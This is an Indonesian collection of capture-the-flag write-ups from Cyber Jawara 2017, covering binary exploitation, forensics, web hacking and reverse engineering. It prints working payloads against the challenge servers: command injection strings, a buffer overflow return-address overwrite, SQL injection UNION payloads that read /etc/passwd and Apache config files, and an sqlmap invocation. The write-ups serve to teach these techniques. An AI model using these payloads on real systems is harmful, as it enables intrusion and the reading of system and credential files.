Anda di halaman 1dari 79

SURABAYA HACKER LINK

Terima Kasih

Untuk teman-teman yang telah merelakan waktunya untuk menulis writeup ini
dan dengan sukarela memberikan kepada kami untuk dipublish bersama,
demi memajukan IT Security Indonesia

Dan terima kasih untuk team yang tidak mau disebutkan namanya, yang telah
memberikan writeup terbaiknya

SURABAYA HACKER LINK


BINARY EXPLOITATION

RSA Key Generator

Kami membuat layanan untuk meng-generate RSA pair dengan C.


nc cj2k17.ctf.idsirtii.or.id 11337

Written by ArRay

SURABAYA HACKER LINK


Kita diberikan 2 buah file: keygen, dan source dari file tersebut (keygen.c). Dan
sebuah services yang beralamat di cj2k17.ctf.idsirtii.or.id 11337. Service
tersebut merupakan sebuah keygenerator. Mari kita coba sedikit.

arca@xterm ~ $ nc cj2k17.ctf.idsirtii.or.id 11337


--//-- CJ RSA Key Generator --//--
Passphrase: yuhu
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,F819E6023EBC0CEF607C4E8DD57BA4E6
XBCQNglGUAeYYWXoPfYP0i/FBpruZWRy97hBQMPwyxmGB5Al7eLJyTB8giaKtkmL
3zV5hehe5VUk9ixKl9XrlLzcPa8cWAJW16m6PNh3tOC3fGn71tiFdOkbwscqOoqo
oLAwaOHef/x/rir2fleFuDYF5+XkOryYbrPAptfWdoXyQ/FL8h4zTJCg6fTpVTqN
YgCeiXM6l+YwwYs1mPkA5lItJnMTWZgnTjt6gNUqLQ81svUmtON/qU2zh+lTaoIS
aCkc8Ctv5rVTE/YGfzB1wn+0yEv3ZM+zx4jxcSEZqFRYoYuOOL7SdYpnvciUFL8P
U05Me0GqkZyIrhLOjAxD1oEfyY0E5cBoC/5Jmn3dJYm3BMqL3U3EYT1I9F3oru0p
KbnkwcG/e2uniCd0VSdfPUdMdyQWHTQbP9UZskB8NGFII09Epirq9EMWOe9iIhui
jNIOq9YOqS5rg624pHkaBJOtyB0U1q9I3H+acwCK2UnZMhjZpjxT1gpvBpC6KFn

Sekilas tidak ada yang aneh di sana. Semua berjalan normal.


Karena kita diberikan source code, maka kita mulai lihat-lihat isi source code
nya. Kode dipotong seperlunya.

---- snip ------


passphrase[0] = '\0';
while (strlen(passphrase) < 4) {
puts("Passphrase: ");
fgets(passphrase, 127, stdin);
len = strlen(passphrase);
passphrase[len - 1] = 0;
if (len < 4 || len > 127) {
puts("You must type in 4 to 127 characters");
}
}
----- snip -----
sprintf(private_gen,
"openssl genrsa -aes128 -passout 'pass:%s' -out "
"dir/%s/private.pem 2048 2>/dev/null",
passphrase, dir);

system(private_gen);
---- snip ------

Dari potongan code tersebut, kita tau bahwa ada vulnerability di sana (perhatikan

SURABAYA HACKER LINK


yang saya tandai merah). Variable passphrase dibaca dari input tanpa ada filter
terlebih dahulu. Kemudian, di bawah, input dieksekusi secara langsung untuk
membuat key generator.

Sekarang kita tahu, ada vulnerability command injection di sana. Mari coba kita
eksekusi.

arca@xterm ~ $ nc cj2k17.ctf.idsirtii.or.id 11337


--//-- CJ RSA Key Generator --//--
Passphrase: ;id
Passphrase: ;id;
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6348B36375D5A536C86EE301F93E08A1
AuhAfA5EDa4/1xDVMITOKCylAv4+kxJ+jgl5TJFOYZ9c8xL9KBHPlUtmZWkSEexS

Ups. Tidak mempan. Mari perhatikan lagi code diatas. Perhatikan yg saya tandai
biru. Passphrase diapit oleh tanda petik tunggal. Sehingga kita perlu memberikan
penutup petik pada passprashe tersebut, baru kemudian command kita.

arca@xterm ~ $ nc cj2k17.ctf.idsirtii.or.id 11337


--//-- CJ RSA Key Generator --//--
Passphrase: ';id;'
uid=1000(bin1) gid=1000(bin1) groups=1000(bin1)

Sip, masuk. Lihat-lihat dalemannya.

arca@xterm ~ $ nc cj2k17.ctf.idsirtii.or.id 11337


--//-- CJ RSA Key Generator --//--
Passphrase: ';id;ls -la;'
uid=1000(bin1) gid=1000(bin1) groups=1000(bin1)
total 80
drwxrwxrwx 527 bin1 bin1 36864 Aug 31 09:04 dir
-r-x------ 1 bin1 bin1 49 Aug 30 05:18 flag.txt
-r-x------ 1 bin1 bin1 13080 Aug 30 05:16 rsa_keygen

Ada flag di sana. Tinggal baca.

arca@xterm ~ $ nc cj2k17.ctf.idsirtii.or.id 11337


--//-- CJ RSA Key Generator --//--
Passphrase: ';cat flag.txt;'
CJ2017{cmd_injection_is_still_exist_in_2k17!!!!}

done.

SURABAYA HACKER LINK


BINARY EXPLOITATION

Zero Day Market

Zero day black market via terminal for leet


nc cj2k17.ctf.idsirtii.or.id 21337

Written by ashurin

SURABAYA HACKER LINK


Diberikan binary dan juga service yang berjalan pada server. Untuk
memperoleh flag kita harus mendapatkan uang yang dapat digunakan untuk
membeli flag dengan cara melakukan proses jual beli terlebih dahulu.

Melakukan analisa file binary yang diberikan dengan menggunakan IDA Pro dan
memperoleh beberapa informasi berikut:
a. Terdapat beberapa fungsi buatan yaitu market dan load_flag
b. Setelah fungsi load_flag dipanggil, string flag dalam file flag.txt akan di load
dalam variable flag.
c. Variable flag akan ditampilkan oleh fungsi market ketika user berhasil
membeli Flag.
d. Uang awal yang diberikan adalah 10 BTC dan disimpan dalam variable v9
yang bertipe unsigned integer

e. Celah terdapat pada fungsi market tepatnya pada proses jual, yaitu harga
jual yang bertipe signed integer akan ditambahkan ke uang awal (v9).

Tipe data unsigned integer apabila berisi data negative maka akan dikonversi
menjadi kebalikannya yang menghasilkan bilangan besar. Hal ini terjadi karena
tipe data unsigned integer tidak menerima inputan data negative. Ketika suatu
data negative dan bertipe unsigned integer maka data tersebut akan dikonversi
dengan kalkulasi (UINTMAX + 1) – DataNegatif. Sehingga jika kita memasukkan
harga negative yang lebih besar dari uang awal maka uang awal kita akan

SURABAYA HACKER LINK


menjadi bernilai negative dan akan membuat bilangan negative tersebut
terkonversi sehingga uang kita menjadi melimpah dan dapat membeli flag.

Dari kesimpulan tersebut dapat disusun langkah untuk membeli Flag


yaitu:
a. Membeli sesuatu yang mampu dibeli dengan uang awal yang diberikan

b. Menjualnya dengan harga negative yang melebihi sisa uang yang ada

SURABAYA HACKER LINK


c. Membeli flag3.

Flag : CJ2017{y0_d4w6_buy_zero_day_with_zero_day}

SURABAYA HACKER LINK


BINARY EXPLOITATION

Jawara17

Selamat datang di Cyber Jawara 2017!


nc cj2k17.ctf.idsirtii.or.id 31337

Written by ArRay

SURABAYA HACKER LINK


Kita diberi sebuah file “jawara” untuk dianalisa di local. Oke, mari kita analisa.
Kita lihat dulu info file nya.

arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ file jawara17


jawara17: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=90adc7b1b02aa30219b660bf13583d0aa108d140, not stripped

Oke. Sekarang kita lihat strings dari binary ini


arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ strings jawara17
/lib64/ld-linux-x86-64.so.2
libc.so.6
read
system
AWAVA
AUATL
[]A\A]A^A_
cat flag.txt
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
------- snip ------

Taraaaaa.... Binary ini ada function cat flag.txt. Yang artinya, ada function
khusus yang menjalankan comman cat flag.txt. Sekarang kita cari tahu, ada
function apa aja di dalamnya.
Dumping binary nya. Cukup panjang. Jadi saya potong seperlunya.

arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ objdump -d jawara17


jawara17: file format elf64-x86-64
Disassembly of section .text:
00000000004004c0 <_start>:
4004c0: 31 ed xor %ebp,%ebp

00000000004005b6 <cyber>:
4005b6: 55 push %rbp
4005b7: 48 89 e5 mov %rsp,%rbp
4005ba: bf a8 06 40 00 mov $0x4006a8,%edi
4005bf: e8 bc fe ff ff callq 400480 <system@plt>
4005c4: 90 nop

SURABAYA HACKER LINK


4005c5: 5d pop %rbp
4005c6: c3 retq

00000000004005c7 <jawara>:
4005c7: 55 push %rbp
4005c8: 48 89 e5 mov %rsp,%rbp
4005cb: 48 83 c4 80 add $0xffffffffffffff80,%rsp
4005cf: 48 8d 45 80 lea -0x80(%rbp),%rax

00000000004005e8 <main>:
4005e8: 55 push %rbp
400610: e8 b2 ff ff ff callq 4005c7 <jawara>
400615: b8 00 00 00 00 mov $0x0,%eax
40061a: c9 leaveq
40061b: c3 retq
40061c: 0f 1f 40 00 nopl 0x0(%rax)

Ada 2 function yang cukup menarik, cyber dan jawara. Kemungkinan di salah
satu function tersebut dilakukan cat flag. Dengan memperhatikan daleman
masing-masing function, function cyber adalah satu-satunya yang melakukan
eksekusi “system”. Artinya di function inilah cat flag di jalankan.
Sekarang, bagaimana cara kita menjalankan function cyber..? Mari kita coba
jalankan file nya.

arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ ./jawara17


!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!tinggggg
arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ ./jawara17
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!aaaaaaaaaaaaaaa
arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $

Ada input di sana. Sekarang kita coba buffer overflow.

arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ perl -e 'print "A"x100' | ./jawara17


!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $
arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ perl -e 'print "A"x200' | ./jawara17
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!Segmentation fault
arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $

Segmentation fault pada input 200. Sepertinya buffer overflow.


Sekarang kita cari panjang maksimal input.

arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ perl -e 'print "A"x125' | ./jawara17


!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $
arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ perl -e 'print "A"x128' | ./jawara17

SURABAYA HACKER LINK


!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $
arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ perl -e 'print "A"x129' | ./jawara17
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!Segmentation fault
arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $

Segmentation fault pada buffer len 129. Artinya, panjang buffer max adalah
128.

Sekarang kita buat payloadnya.

Junk = 128
border space = 16 (karena binary 64byte, lihat info file).
RIP space = 8
RIP address = 00000000004005b6 (address function cyber)

Sehingga, ramuan payload seperti berikut:

128 {junk} + (16 - 8) + 8 {RIP}

=> “A”x136 . “\xb6\x05\x40\x00\x00\x00\x00\x00”

Mari dicoba

arca@xterm ~/Ctf/cyber_jawara_2017/Jawara17 $ perl -e 'print "A"x136 .


"\xb6\x05\x40\x00\x00\x00\x00\x00"' | nc cj2k17.ctf.idsirtii.or.id 31337
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!CJ2017{Where_Is_Uncut_Text}

taraaaaaaaaaaaaaaaa

SURABAYA HACKER LINK


FORENSIC

SQL Injection

Sepertinya ada yang mencoba melakukan SQL Injection di web kami.

Written by Ryan Fabella

SURABAYA HACKER LINK


Diberikan informasi sebuah file hasil capture traffic berupa file pcap dengan
nama sqli.pcap tugasnya adalah mencari tahu ada yang melakukan serangan
sql injection.
Setelah mendownload file nya, kemudian karena tipe file .pcap maka kami
membuka dengan wireshark

dari informasi ini terlihat banyak paket data sehingga kami mencoba
menghubungkan dengan petunjuk yaitu SQL injection.

Maka kami melakukan pencarian terhadap semua paket yang berkaitan dengan
http.

Kata kunci awal yang kami cari adalah flag karena bisa jadi kami langsung
menemukan tanpa harus merunut sql Injectionnya.

Ada 3 paket seperti digambar

kami telusuri dengan klik pada bagian HTML Form URL bagian bawah

terdapat ini

SURABAYA HACKER LINK


kami menduga ada Flag karena melihat ada param “name” dengan union

kemudian kami follow-> HTTP stream dengan klik kanan pada paket yang
diatas

kami baca2 kemudian sampai pada kalimat Flag is not here

kemudian kami lanjutkan dengan pencarian berikutnya paket kedua

dengan cara yang sama hasilnya

SURABAYA HACKER LINK


pada bagian form terdapat flag VIOLAAAA……
CJ2017{sql_injection_in_th3_n3tw0rk_}!

SURABAYA HACKER LINK


FORENSIC

What The Flag

Temukan sesuatu dari berkas ini

Written by MrKopy0r

SURABAYA HACKER LINK


Dalam soal ini kami di berikan sebuah file yang tidak diketahui formatnya yang
di kompress dalam 7z

Setelah di ekstrak, kami menemukan sebuah file berformat .001 kami tidak tau
file apakah ini sebenar nya
Dalam digital forensic ketika mendapati sebuah file pasti yang harus dilakukan
adalah mengidentifikasi sebuah file untuk mengetahui tipe file apakah ini
meskipun sudah diketahui formatnya.
Lalu kami coba untuk mengidentifikasi file tersebut menggunakan perintah file.

SURABAYA HACKER LINK


File ini merupakan dump dari sebuah Sector MBR/DOS dari sebuah hdd
Lalu kami coba untuk mengidentifikasi dengan binwalk

Dalam file tersebut terdapat 4 header gambar berformat jpeg ini sudah
dipastikan bahwa file ini berisi 4 gambar
Kami tergoda untuk mengekstrak isi file tersebut langsung kami ekstrak
dengan foremost

Di dapati 4 gambar di dalam file tersebut kami buka dan

SURABAYA HACKER LINK


Taraaaaaaa...
Conclutions :
Keep your mind bro this is ctf :v

SURABAYA HACKER LINK


FORENSIC

NHA-13

Sepertinya disk image ini dikunci. Dapatkah Anda membongkarnya?

https://s.id/2lS

Written by Nayeon

SURABAYA HACKER LINK


Tantangan kali ini, kita diberikan sebuah file .vhd. untuk dibongkar. Saya sudah
mencoba membongkar di linux, berjam-jam, tdak bisa. Akhirnya, restart dan
pakai windows :v. Selow, hacking tidak tergantung sama OS.
Oke, kita diberi sebuah file vhd berikut.

Ini adalah disk windows. Sekarang kita coba men-deploy file ini melalui
windows disk management.

Klik storage->disk management. Lalu action->attach VHD.

SURABAYA HACKER LINK


Browse file VHD dan klik OKE. Ada sebuah disk baru (Disk 1)

Disk ini terkunci dengan bitlocker encrypted. Mari kita coba mengakses disk ini.
Klik kanan->open

Coba akses melalui windows explorer

SURABAYA HACKER LINK


Disana ada prompt untuk memasukkan password bitlocker.
Dari sini, kemungkinan ada file tersembunyi di sana. Sekarang, kita coba
membongkar password bitlockernya.
Saya menggunakan tool efs-recovery. Pertama dibuka, ada wizrad. Tinggal
mengikuti saja. Sampai screen pilih disk. Pilih saja disk yang akan dibuka, yaitu
drive D.

Perhatikan pada drive tersebut. Disk memiliki lable cukup panjang, dan ada
“pass=Nf –Rfs_15!” di sana. Apakah ini yang kita cari? Mari kita coba.

SURABAYA HACKER LINK


Klik unlock, dan... duar....

Disk berhasil di unlock. Sekarang kita buka ada apa di dalamnya.

Hanya ada 3 file gambar. Saya sudah mencoba image zoom, dan hal aneh aneh
lainnya. Kemudian saya menemukan flag di dalam file gambar. Mari kita buka
satu satu.
File sampul.jpg ----> flag3= magic}
File 85914.jpg ----> flag2= _&_
File knowledge ----> flag1= CJ2017{knights

Tinggal dirangkai. Flag = flag1= CJ2017{knights_&_magic}

Solved

SURABAYA HACKER LINK


FORENSIC

PNG

Apakah Anda mengerti PNG?

Update: Ada perubahan pada attachment. Silahkan unduh ulang.

Hint:

Multiple PNG
File signature
PNG chunk (Size)
And try to open it in various image application

Written by ashurin

SURABAYA HACKER LINK


Ekstrak file i love png.7z dengan 7zip

Lalu analisa dengan binwalk, didapat ada beberapa file didalamnya

Ada beberapa file zlib, ekstrak dengan menggunakan binwalk

SURABAYA HACKER LINK


Lalu buka file png dengan hexeditor untuk mengedit chunk dari png nya

Setelah itu kami membuat script python untuk melakukan recovery

FLAG CJ2017{k4l4U_K4u_s3n4nG_h4ti_t3puk_t4ng4n}

SURABAYA HACKER LINK


WEB HACKING

Evil Client

Temukan flag pada web berikut. Source code terlampir.

http://cj2017.ctf.idsirtii.or.id:1111/evil/

Written by versailes

SURABAYA HACKER LINK


Kita diberi sebuah alamat website pada http://cj2017.ctf.idsirtii.or.id:1111/evil/

Tampilan pertama, sperti berikut:

Tidak ada petunjuk apa-apa di sana. Mari kita analisa source code yang
diberikan.

<?php
session_start();
include('flag.php');

if(!isset($_SESSION['USERSALT'])) {
$_SESSION['USERSALT'] = rand(1000,9999);
$_SESSION['PASSWORD'] = md5($_SESSION['USERSALT'].rand(1000,9999));
}

if (isset($_POST['key'])) {
if(md5($_SESSION['USERSALT'].$_POST['key']) == $_SESSION['PASSWORD']){
die(FLAG);
} else {
$_SESSION = [];
session_destroy();
die("wrong");
}
}

if($_COOKIE['env'] == "development"){
var_dump($_SERVER);
var_dump($_SESSION);
var_dump($_POST);
var_dump($_GET);
var_dump($_ENV);
}
?>

Terlihat, password dibuat secara acak dan di smpan pada session. Password
dibuat dengan salt yang acak juga. Password dibuat dengan hash md5.

SURABAYA HACKER LINK


Password berupa angka acak antara 1000-9999. Terlihat di sana ada cookie env.
Jika value development, maka di vardump beberapa variable termasuk session.
Dengan ini kita bisa melihat password acak tersebut.

Sekarang, kita tambahkan cookie env=development pada browser. Saya


menggunakan web console pada firefox.

Lalu refresh browser, dan mendapatkan vardump berikut.


array(31) { ["HTTP_HOST"]=> string(30) "cj2017.ctf.idsirtii.or.id:1111"
["HTTP_USER_AGENT"]=> string(76) "Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
----snip----
"/evil/index.php" ["PHP_SELF"]=> string(15) "/evil/index.php"
["REQUEST_TIME_FLOAT"]=> float(1504178802.444) ["REQUEST_TIME"]=>
int(1504178802)}array(2) { ["USERSALT"]=> int(5275) ["PASSWORD"]=> string(32)
"01fe1358d6d7530bb9eb2584a173caa3"}array(0) {}array(0)
------snip----

Dari sana, kita tau bahwa hashed password adalah


01fe1358d6d7530bb9eb2584a173caa3 dengan salt 5275

Sekarang kita tinggal melakukan decripsi. Membuat decriptor dengan


memperhatikan bagaimana pasword dibuat.

md5($_SESSION['USERSALT'].$_POST['key'])

Saya membuat script sederhana berikut


<?php
for($i=1000;$i<=9999;$i++){
if(md5("5275".$i) == "01fe1358d6d7530bb9eb2584a173caa3"){
die("Password found: ".$i."\r\n");
}
}
?>

SURABAYA HACKER LINK


Dijalankan
versailes@sec7or ~/Ctf/cyber_jawara_2017/Evil Client $ php -q decryptor.php
Password found: 9629
versailes@sec7or ~/Ctf/cyber_jawara_2017/Evil Client $

Password sudah kita dapatkan. Sekarang kita masukkan.

Done!

SURABAYA HACKER LINK


WEB HACKING

Restricted

Slamet baru saja membuat sebuah web sederhana. Dapatkah Anda menguji
keamanannya?

http://cj2017.ctf.idsirtii.or.id:1111/restricted

Written by black_jack

SURABAYA HACKER LINK


Halaman pertama dari web ini, kita disuguhkan pada form login dan register.

Saya sudah mencoba sql injection di kedua form, dan tidak ada hasil. Sekarang,
saya coba registrasi. Setelah regisrasi dan login, ada link flag di sana. Setelah di
klik, ada pesan, yang menunjukkan hanya admin yang bisa masuk.

Hanya ada sedikit menu. Selanjutnya yang bisa dicoba adalah user setting.
Halaman ini adalah untuk merubah password user.

Kolom username sudah terisi dengan username saya. Sekarang, kita coba
merubah username menjadi admin dengan inspect element.

SURABAYA HACKER LINK


Lalu isikan email dan password baru.

Submit, dan .....

Violaaaaaaaaaaaaaaaaaaaaaaa

SURABAYA HACKER LINK


WEB HACKING

DARK

Web kami baru saja di-deface. Bantu kami untuk mengambil alih kembali.

http://cj2017.ctf.idsirtii.or.id:1111/dark/

Hint:

No brute force
Authenticate with $_SERVER['PHP_AUTH_USER'] &
$_SERVER['PHP_AUTH_PW'].

Written by jonias

SURABAYA HACKER LINK


Tampilan awal web ini adalah defaced site

Melihat source code dan mendapatkan berikut

Tetelah index.html.backup dibuka, tetap tidak ada petunjuk apa-apa di sana.


Lalu kita menebak halaman admin pada url /webadmin, dan mendapatkan
sebuah perintah login.

Cukup sederhana, tinggal login dengan bypass autentication sql.

SURABAYA HACKER LINK


Done!

SURABAYA HACKER LINK


WEB HACKING

System Utility

Windows system utility download repository.

http://cj2017.ctf.idsirtii.or.id:2222/sysutil/

Hint:

Apache config file


Dude, you want the source code? Go download it.

Written by Ryan Fabella & SleepWalker

SURABAYA HACKER LINK


Terdapat tantangan yang menyuguhkan aplikasi untuk menyediakan tool untuk
utilitas system. Pada aplikasi berupa web ini mempunyai fitur file download
untuk installer Utilitas system
Kemudian melihat isi dari web http://cj2017.ctf.idsirtii.or.id:2222/sysutil/

dengan melakukan klik pada download maka dilakukan cek pada web
developer

ditemukan informasi bahwa saat klik submit dilakukan fungsi POST dengan
param d_id=1

Kami melakukan cek sql injection dengan param d_id dengan menggunakan
tool sqlmap didapat informasi yang menarik yaitu bug SQL injection pada
download aplikasi utilitas system. Bug terbeut adalah
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0.12
Database: software
Table: tb_software
[3 columns]
+--------+--------------+
| Column | Type |

SURABAYA HACKER LINK


+--------+--------------+
| path | varchar(512) |
| id | int(5) |
| name | varchar(64) |
+--------+--------------+

sqlmap resumed the following injection point(s) from stored session:


---
Parameter: d_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: d_id=1 AND 7220=7220
Vector: AND [INFERENCE]

Type: AND/OR time-based blind


Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: d_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))OMbp)
Vector: AND (SELECT * FROM
(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---

ditemukan SQL injection tipe Boolean-based blind


kemudian setelah didump datanya hasilnya adalah
Database: software
Table: tb_software
[4 entries]
+----+-------------+----------------------+
| id | name | path |
+----+-------------+----------------------+
| 1 | CurrProcess | files/cprocess.zip |
| 2 | RegScanner | files/regscanner.zip |
| 3 | ProduKey | files/produkey.zip |
| 4 | DriverView | files/driverview.zip |
+----+-------------+----------------------+

kemudian kami melakukan cek isi dari index.php

SURABAYA HACKER LINK


dari query tersebut ada bug yang fatal untuk menjadi LFI yaitu pada function
download yang bisa menginclude file yang ada di server.

Dengan tambahan informasi bahwa flag terdapat pada file konfigurasi apache

Maka kami membuat payload request dengan bantuan firefox dengan plugin
hackbar.

SURABAYA HACKER LINK


payload union select 1,’/etc/passwd’,’/etc/passwd’

yang terdownload adalah CurrProcess.zip

karena d_id=1 kemudian kami ubah menjadi 9999 dengan asumsi id tidak ada
dan kami tambahkan payload
union select 1,’/etc/passwd’,’/etc/passwd’

SURABAYA HACKER LINK


hasilnya cukup sempurna yaitu kami bisa mendownload file /etc/passwd di
server

kemudian dengan hint bahwa flag terdapat di konfigurasi webserver apache,


dan kami melihat server menggunakan Ubuntu maka default konfigurasi
webserver adalah /etc/apache2/apache2.conf

dengan payload yang kami ubah


d_id=9999 union select 1,'/etc/apache2/apache2.conf','/etc/apache2/apache2.conf'

SURABAYA HACKER LINK


dari sana kami melihat untuk konfigurasi sites ternyata ada di directory
sites-enabled sehingga kami coba download di

/etc/apache2/sites-enabled/000-default.conf

payload kami ubah menjadi


d_id=9999 union select
1,'/etc/apache2/sites-enabled/000-default.conf','/etc/apache2/sites-enabled/000-def
ault.conf'

SURABAYA HACKER LINK


ditemukan informasi bahwa terdapat directory lain yang nama
adminmanager-d6694c083d44 dengan file authnya /etc/apache2/.htpasswd

kami coba buka file .htpasswd tersebut

yang isinya sebagai berikut

kami coba dengan login ke


http://cj2017.ctf.idsirtii.or.id:2222/sysutil/adminmanager-d6694c083d44

SURABAYA HACKER LINK


namun gagal akhirnya kami mencoba untuk mengambil index.php

/var/www/html/sysutil/adminmanager-d6694c083d44/index.php

dengan mengubah payload menjadi


d_id=9999 union select
1,'/var/www/html/sysutil/adminmanager-d6694c083d44/index.php','/var/www/html/sysuti
l/adminmanager-d6694c083d44/index.php'

sehingga hasilnya adalah

hasilnya MakNyuzzz

CJ2017{from_SQLI_to_Localz_Filez_Incluzion}

SURABAYA HACKER LINK


WEB HACKING

Web Login

Web login

http://cj2017.ctf.idsirtii.or.id:3333/login/

Written by SleepWalker

SURABAYA HACKER LINK


Tampilan awal, kita disuguhkan halaman login seperti berikut.

pada halaman login dicoba berbagai inputan tidak ada perubahan.


Ada petunjuk biasanya pada robots.txt
Sehingga kami browsing ke http://cj2017.ctf.idsirtii.or.id:3333/login/robots.txt

kemudian file backup.zip diambil


http://cj2017.ctf.idsirtii.or.id:3333/login/backup.zip

pada saat di restore ternyata minta password. Petunjuk berikutnya tidak ada
sehingga kami strings backup.zip
unresolved-2:Downloads ryanthe$ strings backup.zip
css/UT
css/index.phpUT
/frPK
css/style.cssUT

skip
fonts/ODelI1aHBYDBqgeIAH2zlCxe5Tewm2_XWfbGchcXw4g.woff2UT

SURABAYA HACKER LINK


fonts/ODelI1aHBYDBqgeIAH2zlIa1YDtoarzwSXxTHggEXMw.woff2UT
fonts/ODelI1aHBYDBqgeIAH2zlJbPFduIYtoLzwST68uhz_Y.woff2UT
index.phpUT
J7TN
remember.txtUT
robots.txtUT
unresolved-2:Downloads ryanthe$

terdapat remember.txt
sehingga kami coba ke http://cj2017.ctf.idsirtii.or.id:3333/login/remember.txt

kemudian kami extract backup.zip

unzip -P this_is_zip_password_for_backup backup.zip


unresolved-2:Downloads ryanthe$ unzip -P this_is_zip_password_for_backup backup.zip
Archive: backup.zip
replace css/index.php? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
extracting: css/index.php
inflating: css/style.css
extracting: fonts/index.php
extracting: fonts/ODelI1aHBYDBqgeIAH2zlCxe5Tewm2_XWfbGchcXw4g.woff2
extracting: fonts/ODelI1aHBYDBqgeIAH2zlIa1YDtoarzwSXxTHggEXMw.woff2
extracting: fonts/ODelI1aHBYDBqgeIAH2zlJbPFduIYtoLzwST68uhz_Y.woff2
inflating: index.php
inflating: remember.txt
extracting: robots.txt
unresolved-2:Downloads ryanthe$

kemudian dibuka file index.php


isinya sebagai berikut

unresolved-2:Downloads ryanthe$ cat index.php


<?php
error_reporting(0);
$loggedin = "";

if (isset($_POST['name']) && isset($_POST['pw'])) {


$username = $_POST['name'];
$pass = $_POST['pw'];
$hashed = md5(md5(md5(md5($pass))));

SURABAYA HACKER LINK


$servername = "localhost";
$dbusername = "login";
$dbpassword = "";
$dbname = "login";

$conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);

if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

$sql = "SELECT * from tb_login where (substr(username, 1, 8) =


substr((((((((((((((((((((((((((((((\"$username\"))))))))))))))))))))))))))))), 1,
8)) AND password = '$hashed'";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$loggedin = "ngadimin";
}
}

}
?>

<!DOCTYPE html>
<html >
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="css/style.css">
</head>

<body>

<form method="POST">
<h4> Login </h4>
<?php
if ($loggedin != "") {
echo "Welcome " . $loggedin . "! Flag is not in here<br><br>";
}
?>
<input class="name" type="text" name="name" placeholder="Enter Username"/>
<input class="pw" type="password" name="pw" placeholder="Enter Password"/>

SURABAYA HACKER LINK


<input class="button" type="submit" value="Log in"/>
</form>

</body>
</html>

artinya untuk melakukan dump database kita bisa menggunakan parameter


username dengan prefix "))))))))))))))))))))))))))))), 1, 8))

sehingga secara utuh sqlmap seperti dibawah ini

./sqlmap.py -u "http://cj2017.ctf.idsirtii.or.id:3333/login/"
--data="name=admin*&pw=admin" --prefix="\"))))))))))))))))))))))))))))),1,8))"
--suffix="-- -" --user-agent=random -v 3 -technique=B --level=5 --risk=3 --dbms=MySQL
--dbs

hasilnya

Database: login
Table: tb_flag
[1 entry]
+----+-------------------------------------+
| id | flag |
+----+-------------------------------------+
| 1 | CJ2017{SQLmap_make_you_lazy_kiddo!} |
+----+-------------------------------------+

VIOLAAAAAA……..

SURABAYA HACKER LINK


REVERSE ENGINEERING

APK Malware

Kami menemukan APK yang mencurigakan. Sepertinya ini sebuah malware.

https://s.id/2lL

Written by Angel_Cracker

SURABAYA HACKER LINK


Setelah mendownload file .apk, kita mulai analisa file tersebut. File ini
berekstensi apk. Kita pastikan bahwa benar-benar apk, dengan exiftool.

angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ exiftool


FlightSimulator.apk
ExifTool Version Number : 10.10
File Name : FlightSimulator.apk
Directory : .
File Size : 21 MB
File Modification Date/Time : 2017:08:30 15:26:04+07:00
File Access Date/Time : 2017:08:30 15:27:46+07:00
File Inode Change Date/Time : 2017:08:31 14:34:40+07:00
File Permissions : rwxrwxrwx
File Type : ZIP
File Type Extension : zip
MIME Type : application/zip
Zip Required Version : 20
Zip Bit Flag : 0x0808
Zip Compression : Deflated
Zip Modify Date : 2017:08:30 12:28:19
Zip CRC : 0xd55bcc6e
Zip Compressed Size : 10263
Zip Uncompressed Size : 25017
Zip File Name : META-INF/MANIFEST.MF
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $

Ternyata adalah file zip (menurut beberapa teman-teman saya, file apk
memang zip). Oke, kita extrack file tersebut. Setelah di extrack, saya
mendapatkan beberapa file.
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ ls -l
total 23405
-rwxrwxrwx 1 root root 8148 Jan 1 1980 AndroidManifest.xml
